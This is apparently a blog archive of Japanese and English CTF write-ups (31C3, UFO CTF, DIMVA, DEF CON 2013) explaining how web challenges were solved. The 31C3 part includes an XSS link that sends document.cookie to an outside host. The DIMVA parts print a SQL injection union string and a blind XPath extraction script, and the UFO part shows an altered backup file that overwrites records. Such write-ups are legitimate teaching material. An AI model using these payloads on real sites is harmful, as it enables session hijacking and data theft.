31C3 CTF – Page Builder writeup

This challenge needs only XSS but it is interesting to me :)

These guys have ripped off our designs and using them in their web pages builder! We’d Haxx them, don’t worry we’ll give you decent points for it. http://188.40.18.76/

スクリーンショット 2015-01-02 8.40.09

By using the form, we could generate a page.(such as http://188.40.18.76/output/19c94d778563b117e18e3442e887989aea14277d/filename)

It htmlspecialchars the “title” and “file content” but not “style” or “filename”.

The maximum size of “style” is 8bytes and that of “filename” is 65bytes.

Then, “filename” can be foo.php and “style” can be <?php a so that it shows PHP error.

(http://188.40.18.76/output/19c94d778563b117e18e3442e887989aea14277d/foo.php)

Parse error: syntax error, unexpected ‘” rel=”‘ (T_CONSTANT_ENCAPSED_STRING) in /var/www/html/output/19c94d778563b117e18e3442e887989aea14277d/foo.php on line 10

hmm… PHP code exeution looks difficult because maximum size of “style” is 8bytes and short_open_tag is offed. (and * is removed from “title” and “file content”)

So let’s search another vulnerability.

We can XSS with “filename”, because the error page above prints “filename” that is not escaped!

http://188.40.18.76/output/19c94d778563b117e18e3442e887989aea14277d/%3Cbody onload=%22eval%28location.hash.slice%281%29%29%22.php#
location.href=%27http://tyage.net/%27+document.cookie

(Notice: we put the code in location.hash to fit in the maximum length of “filename”)

Now, just submit a link above in the contact form and we capture the flag!

31c3_Y0u_H4v3_F0und_My_W34k_Err0R_P01n7

DEF CON CTF Qualifier 2013

問題解いてた時のログが残ってないし、探せば他が出てくると思うのでwriteupは書きません。
一応、webを何問かとprogramming2問ほどを解きました。

うちを含め多くのチームがweb問題を全完しており、今回のweb問題は易しかったように感じます。

開始直後は、8-puzzleのprogrammingを解いて7位くらいだったけど、最終的には79位となった。

2日目・3日目は学校をサボって灘高にいて、チームで問題を解いてたらだんだん正気が保てなくなってきた。

DEFCONが僕達に残したもの
DSC_0131

UFO CTF 2013 writeup – Web200

Those aliens consider themselves as the most smart creatures in
the world. Pff. They shouldn't even have tried to defeat mankind
having such stupid stuff in their heads! As for you, why wouldn't
you hack them? They'll most likely surrender then. By the way, it
is known that they update some data every 10-20 seconds, but
unfortunately our equipment can't intercept the data itself.
 
http://superhosting.tasks.ufoctf.ru:8000/

自分のウェブページが作れ、バックアップと復元ができるシステムになっている。

バックアップしてみると、[username]_[md5(username)][md5(zipfile)].zipという名前でzipファイルがダウンロードでき、それをアップロードすることで復元ができるようになっている。
zipファイルの中身を解凍すると、.backupという名前で以下のようなファイルが入っている。

<?xml version="1.0" encoding="utf-8"?>
<django-objects version="1.0">
	<object pk="12349813568" model="hosting.pagesettings">
		<field type="CharField" name="owner_name">username</field>
		<field type="CharField" name="owner_email">test@localhost</field>
		<field type="CharField" name="page_title">My homepage</field>
		<field type="TextField" name="page_content">Hello everyone! This is my new homepage.</field>
		<field type="CharField" name="page_footer">Made with love and care</field>
		<field type="BooleanField" name="page_is_public">False</field>
		<field type="CharField" name="page_public_id"></field>
	</object>
</django-objects>

いろいろと試した結果、復元時にpk(primary key)を変えた場合にそのpkを持つフィールドのデータを上書きすることができるとわかった。

以下のようなxmlファイルを含めて復元し、再びバックアップをダウンロードすると、pk=1のデータの入ったバックアップファイルが手に入り、pk=1のデータにflagが書かれていた。

<?xml version="1.0" encoding="utf-8"?>
<django-objects version="1.0">
	<object pk="1" model="hosting.pagesettings">
		<field type="CharField" name="owner_name">username</field>
	</object>
</django-objects>

DIMVA CTF 2013 writeup

DIMVA CTFに参加していた。

私のチーム(Epsilon Delta)は850ポイントで17位だった。

Web 100

画像アップローダーが用意されており、どうにかこうにかする問題。

はじめにいくつか画像が用意されており、パスワードを入力しないと閲覧できない画像があったため、そのパスワードを求める問題と推察される。

各画像にはタグがついており、同じタグを持つ写真を一覧で見れる。

しかし、シングルクオートの入ったタグの場合は一覧ページでエラーが発生していたため、SQLインジェクションがあるとわかった。

画像をアップロードした際、画像のコメントがタグになって登録されるので、そこにSQLインジェクションを埋め込む。

' union all select password from pictures--

その後、一覧ページを閲覧することでパスワードが入手でき、c0ffeeからはじまるパスワードがFlagであると判明した。

c0ffee29e34ad42d38cbe236913c911a

パスワード付きの画像はこんな感じだった。

SONY DSC

素直でわかりやすい問題だったように思う。

Web 200

普通にアクセスすると

10
'user' and/or 'password' parameters missing, please provide an xml parameter of the following form to login: <login><user>(base64-encoded username)</user><password>(base64-encoded password)</password></login>

ってのが返って来る。

一日近く、urlにログイン用xmlを足したり、ファイルとして送信したり、送信するパケットのいろんなところに埋め込んだりして悩んだ。。。

コンテスト終了直前になって、/?xml=…とすればログインできることに気づく。

xml parameterってのが素直にxmlって名前のリクエストパラメータだったのに、そこに気づくまでに一日かかって英語の壁を感じる。

これがわかればあとは解くだけ。

とりあえず色々試していると、以下のレスポンスが返って来たため、XPathへのインジェクションだとわかった。

 Error during login: Query: //User[UserName/text()='' and Password/text()='' '... ........................................................^^^ Invalid query somewhere around here (I think)

「’ or ‘1’=’1」とかしてログインに成功すると、htmlのコメントで「users.xml~が残ってるからあとで消すように」と書かれているのでアクセスしてみる。

xml形式のユーザーデータがあり、「c0ffeefa7745f449c26000a2612affec」というデータがあったので、それをFlagとして送信したが失敗。

どうやらuser.xml~は古いデータらしく、現在は別のものに置き換わっている模様。

なのでblind injectionを利用して現在のデータからFlagを取得する。

var search = "c0ffee";
 
var test = function(next) {
	$.ajax({
		url: "/",
		data: {
			user: "",
			password: Base64.encode("' | //User[contains(.,'" + search + next)
		}
	}).done(function(data) {
		search += next
		nextTest();
	});
};
 
var nextTest = function() {
	for (var i="a".charCodeAt(0);i<="z".charCodeAt(0);++i) {
		test(String.fromCharCode(i));
	}
	for (var i=0;i<=9;++i) {
		test(i);
	}
};

以下のFlagが得られる。

c0ffee153dbc077ea80f4e697a63ec1e

Accepted!!!

SIGINT CTF 2013 writeup – bloat (cloud 200)

CTF

えと、ブログを更新停止している間に、Epsilon DeltaとしていくつかCTFに参加していました。

  • Codegate YUT Preliminary 2013
  • Nuit du Hack CTF Quals 2013
  • BaltCTF Quals 2013
  • SECUINSIDE CTF Quals 2013
  • Boston Key Party CTF 2013
  • DEF CON CTF Qualifier 2013
  • SIGINT CTF 2013

はじめは海外のCTFの感覚がつかめず、ちゃんと解いたような記憶もなかったのですが、BKPあたりからは少し慣れてきたような気がします。

今まで解いてた問題のwrite upを書こうとも思ったのですが、すっかり忘れてしまっているため、一番最近やったSIGINT CTFのwrite upを書くことにします。

“SIGINT CTF 2013 writeup – bloat (cloud 200)”の続きを読む